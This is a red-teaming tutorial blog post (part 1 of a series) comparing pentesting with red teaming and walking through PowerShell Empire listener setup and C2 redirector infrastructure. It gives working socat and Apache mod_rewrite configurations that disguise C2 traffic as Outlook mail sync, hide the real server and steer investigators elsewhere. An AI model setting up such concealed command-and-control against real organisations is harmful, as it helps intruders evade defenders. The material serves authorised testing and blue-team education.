Prologue
This post is particularly aimed at beginners who want to dive deep into red teaming and move a step ahead from traditional penetration testing. It would also be helpful for Blue Teams/Breach Response Team/SOC analysts to understand the motive/methodology and match the preparedness of a Redteam or real-life adversary. It’s a summary of my experience when I decided to move into Redteaming. It’s a long post, so better grab a coffee and then continue reading this.
What is Redteaming?
As defined by Redteamsecure.com, Red Teaming is a full-scope, multi-layered attack simulation designed to measure how well a company’s people and networks, applications and physical security controls can withstand an attack from a real-life adversary.
During a red team engagement, highly trained security consultants enact attack scenarios to reveal potential physical, hardware, software and human vulnerabilities. Red team engagements also identify opportunities for bad actors and malicious insiders to compromise company systems and networks or enable data breaches.
Here is a video from Redteam Security which gives us an insight on what red teams do but this does not exactly resembles our approach. The methodology and the approach varies according to the agreed terms with the organization.
Pentesting vs Redteaming
Pentesting can be defined as assessment of an organization’s security posture which is executed in a controlled fashion and often dictated and managed by the security managers. The given time and scope to finish a project is very limited often not takes real-life adversaries like Social engineering, Malware execution, etc into consideration. Most of the times you would be performing a PT for a given network scope, web application, mobile application, wireless, etc and all the people who are related to that particular scope would be given a prior information that Pentesting is going to happen on this date and the client would also whitelist the Pentesting team’s public IP address so that they can be sure that it is only the assigned PT team who is attacking them.
In Pentesting, generally you don’t move beyond exploitation phase. If you get a shell access on the remote machine while performing a Pentest, most of the times the client doesn’t want you to go ahead further and stop it right there. If you are given a range of internal/external IP addresses or multiple web application, you have to try to find vulnerabilities in all of them. You can’t miss anyone of them.
That doesn’t sound fun anymore when in today’s world there are state sponsored hackers/APT groups ready to breach any organization they want and they don’t have any of the above mentioned limitations!
When a real attacker wants to break into an organization, He/She won’t be going through the traditional Pentesting process and methodology. The attacker would try everything he can to get into the organization and exfiltrate the data or destroy the reputation of an organization. He may plan it for weeks or even months before attempting to get inside by any means. That’s the difference between traditional Pentesting and red teaming.
Red teams act as real and motivated attackers. Most of the times, Red Teaming scope is huge. The entire environment is within scope and their goal is to penetrate, maintain persistence, pivot, exfil, to examine what a determined enemy can do. All tactics are available including social engineering. Eventually the red team will get to a point where they own the entire network, or their actions will be caught and they will be stopped by the security administrators of the network they are attacking. At that time they will report their findings to management in order to assist in the increasing the security of the network.
One of the major goals of the red team is to maintain stealth even when they have gotten inside of an organization. Penetration testers are lousy and loud on the network and can be easily detected because of their traditional approach towards breaking into an organization while red teamers are stealthy, fast and are technically equipped with the knowledge of evading AV’s, Endpoint protection solutions, Firewalls and other security measures that the organization has implemented.
The skillset and the approach required for red teaming is completely different as from Pentesting.
What we do as a Redteam?
It could be broadly divided into these categories.
- Reconnaissance – Gathering information about employees, Managers, Technology stack, Security appliances, etc using passive and active recon techniques
- Physical security -Physically mapping the building, Bypassing or cloning RFID/Biometrics, Lockpicking, etc
- Social Engineering – Malware delivery/Credentials logging via targeted phishing, Gaining entry to the building/ODC, Fake surveys, Planting network implants, Dumspter diving, etc
- Exploitation – Payload delivery & execution, Stealthy C&C server communication
- Persistence – Privilege Escalation, Maintaining persistence & Pivoting
- Post-Exploitation – Lateral movement & Data exfiltration
Objective
Gone are the days, when you could penetrate into an organization from outside, Most of the exposed external network nodes and web applications are very well secured nowadays. The only option with a good success rate is, if we can somehow execute our payload inside of an organization which will connect back to us. It requires a good amount of work and practice to bypass modern Endpoint protection, Proxy, IDS, and all other security appliances which are put in place. The payload has to evade all the security appliances that are in place while staying stealthy and not triggering any major alarm to the blue team/SOC team.
The Objective of this blog is to gain an initial foothold inside the network of the target organization while staying hidden. A lot of organisations now prefer the “Assume Breach” Redteam exercise where they assume that they already have been breached and what damage an attacker can do through post exploitation. We will discuss about post exploitation later in this blog series but in this blog, we will only discuss the exploitation phase divided under these sub-sections:
- C2/Post-Exploitation Framework selection
- C2 infra setup
- Payload creation
- Payload delivery
- AV/Endpoint protection/NIDS Evasion
After getting an initial foothold in the network, our objective would be of privilege escalation, pivoting, lateral movement within that organization and finally exfiltrating sensitive data.
We would consider the target organization to be a Fortune 500 company which has all the security products and policies in place.
1. C2/Post-Exploitation Framework selection
During a red team engagement, choosing the right C2 framework is one of the most important step. The right C2 framework has to be Flexible, Agile and Resilient against blue team’s preventive actions. It has to standup and last for many weeks/months till the red team engagement is active. Forget about using Metasploit during red team engagements. It’s a great exploitation framework for a traditional Pentest but when it comes to engagements which lasts for weeks to months then Metasploit is not the right tool. We can either write our own framework or use something which is already tried and tested. Writing your own C2 framework would be another big project and needs a whole lot of expertise and time. We would choose something which is already available and used by experts around the globe.
After a whole lot of search and discussion, I zeroed down to two options for this:
CobaltStrike – Best framework available for red team engagements. Has a lot of amazing features which you can’t find anywhere else. Kudos to rsmudge for creating this superb tool. Anything that good doesn’t comes for free. It is available for a price tag of 3500$/year.
powershell Empire – Another great tool which can be used for creating payloads as well as for post exploitation. Empire is a pure powershell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. The good part is that it is open source and completely free. Kudos to these guys for creating this awesome tool – @harmj0y, @sixdub, @enigma0x3 and more.
We will be using powershell Empire for now as it is an amazing tool available for free and it is open source which can be used by everyone. It is better to go the powershell empire official website and check it out. They have maintained a very concise usage documentation over there.
Though, I would mention as why I selected powershell Empire as an appropriate post-exploitation framework.
1. Flexible and Resilient – Unlike Metasploit, where if your listener dies once, you loose the connection. Empire agents can keep trying to communicate back to you till it finishes the number of connection attempts you have defined while setting up the payload. The agents information is stored in a sqlite file which can be fetched when you launch empire again. Once you have defined the parameters for a listener, it doesn’t changes unless you explicitly do it so. No need to setup the listener again and again. Since, it is open source and modular, you can use your own powershell scripts inside empire.
2. Uses powershell & Python – Given that, we are targeting an organization and majority of times, their infrastructure would mostly consist of windows systems, using powershell is a safe bet here. Empire needs at least powershell v2.0 to run which is available from Win Vista to Win 10. It wouldn’t work on Win XP systems though. It also gives us the advantage of bypassing application whitelisting which is implemented in many organizations since powershell is available by default and we are not dropping or executing any new executable. For any unix based hosts, we can use python based empire agents.
3. Proxy aware payloads – It automatically picks up the proxy and the cached creds from the system which is in use currently and use that to communicate to the C2 server. A lot of traditional tools and payloads fail here as they can’t pick up the proxy automatically unless specified explicitly. Since, we are aiming here at a fortune 500 company, it’s definitely gonna be using a proxy for any kind of web requests.
4. Malleable C2 profiles – The C2 profile means the indicators in the agent communication to the C2. It includes the listener protocol, http url, user agent, callback time, lost limit, jitter, encryption key, etc. AV vendors write signatures based on these indicators. A lot of times, the default parameters are used which can lead to the detection, removal of the payload and blockage of the communication between the organization and the C2 domain. These indicators can be changed while creating the payload to evade detection.
5. Can run powershell agents without running powershell.exe – Since, powershell is being heavily abused by malware authors, a lot of organizations either completely block powershell.exe execution or log every activity that is made from powershell.exe which can be then given to a central log analysis tool which might raise an alarm on any suspicions activity. To counter this, we can actually launch powershell without running powershell.exe. Empire gives us few options to do so.
6. Comes pre loaded with Invoke-Obfuscation module – Empire has an options to obfuscate all the source code, stagers and the payloads with different level of obfuscations. Helps a lot in evading signature based AV detection process.
7. Reliable persistence modules – It has few very reliable persistence modules which works perfectly. using WMI for persistence is my favorite one.
8. Lots of post-exploitation modules – It has lots of great post exploitation modules written in powershell which can be used for information gathering, lateral movement, hash dumping and system management.
9. Different listener options – Unlike Metasploit which maintains a constant TCP connection with the C2 server, empire can communicate over http with a custom delay and jitter in between, thus making it very difficult to detect C2 traffic. It has a lot of listener options which can include http_hop or even dropbox as C2.
powershell Empire
Empire http listener options
Different payload generation options in Empire
Different Empire listeners
2. C2 infra setup
Our C2(Command & Control) infrastructure would consist of our C2 servers, Redirectors, Phishing servers and payload delivery servers. For the Redteam engagement, we need to deploy a Resilient C2 infrastructure which can stand for weeks and months depending on the duration of the engagement. The infrastructure has to be agile and strong enough to withstand the blue team’s preventive actions.
For example, The moment when the blue team finds out that there organization has been compromised and they start identifying the C2 traffic, they will start blocking your C2 domains as a preventive step. Your C2 infrastructure should be such that it should keep standing when blue teams have started taking down your campaign.
Traditional Pentest Infra
@bluescreenofjeff has already written a great blogpost on how to design a Resilient C2 infra. This part of the blog is inspired by his piece of work and I suggest everyone reading this to have a look at his blog but I will repeat few design considerations here in a more concise manner which I learnt the hard way:
2.1. Segregation
You have to setup multiple C2 servers, multiple Redirectors, phishing servers or payload delivery servers during the engagement. All of this has to be on a different server. We need to segregate our infra as that would give us the required flexibility and Resilience. For example, If your phishing server got caught during the campaign and the blue team blocked the email sending domain, you would not loose control over the hosts you already own as your C2 server is hosted on a different server and domain.
Your short haul and long haul C2 servers should be hosted on different domains as well. Generally, short haul C2 would get caught easily during the course of engagement. Segregation between short haul and long haul C2 would allow you to persist for long period.
Short haul C2 servers are those kind of servers on which you would receive callbacks after every few seconds. This is the one which would be used to actually execute commands on the victim’s machine in real time. Long haul C2 servers are those on which you would receive callbacks after every few hours. This would help us to persist and evade malicious traffic detection.
Segregating your infra provides you the flexibility and Resilience against blue team’s preventive actions. Here is a sample diagram of modern red team infrastructure.
Sample Redteam Infra
2.2 Redirection
Redirectors can be placed in the front of each C2 server to protect our core infrastructure from getting identified and blocked. Using a Redirector in front of the C2 server has a lot of advantages:
- Prevents the identification of our core C2 infra – Our core infra would stay hidden even when blue team finds out what domains the malware is communicating to. If they start to block the domains, we can quickly switch to a different Redirector running on a different domain in real time. This would save up our effort and time to setup another server with the C2 framework and the required tools.
- confusion – It can confuse the blue teams when they start their investigation and start burning our domains. Only the C2 traffic would be redirected to the original C2 server but if anyone else tries to investigate the C2 domain, the Redirector server would redirect the traffic to another legit website.
We can implement two different kinds of redirection:
2.2.1 Dumb pipe redirection
We can perform dump pipe redirection using Socat or IPtables. It will forward all the incoming traffic to the C2 server. The only advantage of using a dump pipe Redirector is that our original C2 server would stay hidden. It can be implemented using either IPtables or Socat. Socat is easier to use that configuring rules in IPtables. Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them.
This is the basic syntax for Socat which will forward all the incoming TCP traffic on port 80 to the specified remote host on port 80.
Socat TCP4-LISTEN:80,fork TCP4:<REMOTE-HOST-IP-ADDRESS>:80
Dumb Pipe Redirection
2.2.2 Smart redirection
Smart redirection means forwarding all the C2 traffic to the C2 server and redirecting all other traffic to a legit website. This counters the blue team investigative attempts to uncover our C2. Anybody visiting the C2 domain would get redirected to another legitimate site. The same applies for tools like curl, wget or any web scanner. This improves the resilience of your C2 infrastructure.
Smart Redirection
One of the easiest ways to implement smart redirection is to use mod_rewrite.
mod_rewrite has the ability to perform conditional redirection based on request attributes, such as URI, user agent, query string, operating system, and IP. Apache mod_rewrite uses htaccess files to configure rulesets for how Apache should handle each incoming request.
First, we have to customize our Empire C2 with the kind of web traffic we are trying to blend in. Here, in this example I have tried to emulate my C2 traffic as Microsoft live email traffic. You could change the user agent, web url’s, server headers according the web service you are trying to emulate. If any tool or person is monitoring the http network traffic, It wouldn’t look malicious as it is similar to the outlook email traffic.
It would look like as it is an Outlook app installed on someone’s desktop or mobile phone which is trying to sync with the inbox after every few minutes. In this example, any kind of traffic which does not match our C2 traffic would get redirected to https://login.microsoftonline.com, thus reducing the level of suspicion. This has been discussed more in the AV Evasion part of this post.
In order to setup smart redirection, you need to configure your C2 server as well as the Redirector server. Below are the exact details as how to configure your C2 server and your Redirector server for smart redirection.
Setting up the C2 server
listeners
uselistener http
set Name microsoft
set DefaultJitter 0.6
set DefaultDelay 11
set DefaultProfile /owa/mail/inbox.srf,/owa/mail/drafts.srf,/owa/mail/archive.srf|Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie11; rv:11.0) like Gecko|Accept:*/*
set Host http://[Redirector-ip]:80
save the above text as microsoft.profile and start powershell empire with the following command
./empire -r microsoft.profile (would start empire with the microsoft profile)
Empire http listener options
Setting up the Redirector server
- Change the “AllowOverride None” to “AllowOverride All” inside <Directory /var/www/> in /etc/apache2/apache.conf
- Enable some apache modules for mod_rewrite to work
sudo a2enmod rewrite proxy proxy_http
sudo service apache2 restart
- Write your .htaccess file which will have all the redirection conditions. This part is tricky because if something goes wrong here, your C2 traffic would never get forwarded to the original C2 server. Check the RewriteCond regex carefully if it is working properly.
RewriteEngine On
#URL condition – Empire’s url structure
RewriteCond %{REQUEST_URI} ^/(owa/mail/inbox.srf|owa/mail/drafts.srf|owa/mail/archive.srf)/?$#UserAgent condition – Empire agent’s custom user agent
RewriteCond %{HTTP_USER_AGENT} ^Mozilla/5\.0\ \(Windows\ NT\ 6\.1;\ WOW64;\ Trident/7\.0;\ yie11;\ rv:11\.0\)\ like\ Gecko?$#Redirect the original C2 traffic to this host
RewriteRule ^.*$ http://[C2 server]%{REQUEST_URI} [P]# Redirect all other traffic here
RewriteRule ^.*$ https://login.microsoftonline.com/? [L,R=302]
- Put this .htaccess file in /var/www/html and change the permissions to 644. Restart the apache webserver.
- If everything is good, you would receive callback on your original C2 server through the Redirector server when your agent gets executed on the victim’s machine. Anyone else trying to visit the Redirector domain would get redirected to https://login.microsoftonline.com.
2.3. Using SSL for your C2 traffic
C2 communication over https has great advantages when it comes to bypassing AV/IDS detection which we will discuss in AV Evasion part.
Encrypted C2 Communication
The above steps were for HTTP traffic but if we want to use https along with redirection, we need to follow the below steps:
Setting up the Redirector server
- Enable ssl on Redirector server and enable SSLProxyEngine in the ssl config file
a2enmod ssl
- Add these lines inside /etc/apache2/sites-available/000-default-le-ssl.conf
SSLProxyEngine On
SSLProxyVerify none
SSLProxyCheckPeerCN off
SSLProxyCheckPeerName off
- Restart the apache webserver.
- Inside the .htaccess, replace the first rewrite rule with this
RewriteRule ^.*$ http://[C2 server]:443%{REQUEST_URI} [P]
Setting up the C2 server
Set the host options as https and set the Port as 443.
Empire listener options for https redirection
Execute the agent and if everything is correct, your agent would communicate to the Redirector server over https and then forward the traffic to the C2 server.
2.4. Log management
During an engagement, you must implement some sort of log management process. Logging your C2/Redirector server’s network activities has a lot of advantages:
2.4.1. Situational Awareness – You would be aware of the blue team’s investigative efforts. Logs would give you a great deal of information as what exactly is the blue team trying to do on your server.
Are they using curl/wget? Are they trying to run a port scan on your server? Are they running some web vulnerability scanner/dirbuster on your server? Did they try to access your server from their browser? What was the user-agent? From what time period they were active? What timezone they are working in? What’s their Public IP address? Is it the same as the organisation’s public IP address? What are they trying to uncover? Is it an external entity trying to hack into your server?
2.4.2. Resilence – You can easily find out if they have started their attempt to uncover your C2 server and depending on the situation, you can change the agent’s C2 server on the fly before they block that domain. Empire’s gives you the option to spawn a new agent on a different listener.
Redirector Server Apache Logs
Just by looking at the apache access logs, you can find out a lot of details like – IP address, TimeStamp, Url accessed, response code, User agent.
This will easily give out if anyone else other then your empire agent has tried to access the webserver since it’s response code would be ‘302’. A simple ‘grep’ and ‘cut’ would reveal the blue teams’s investigative attempt.
When you have a lot of C2 and Redirector servers, It’s advisable to use a central log server & management tool which can alert you if any suspicious activity occurs. The selection of the right log management tool is dependent on the size of the infrastructure and your familiarity with the tool and I leave that on you.
____________________________________________________________________________
The next part of this blog post is continued here in part-2 as this is getting too long to read it one go. We will cover Payload creation, Payload delivery and AV Evasion in the next part.
RedTeaming from Zero to One – Part 2
Do comment or get in touch for any enquiry or if you want something to be added or if you have a better way of doing this. Thanks for reading.
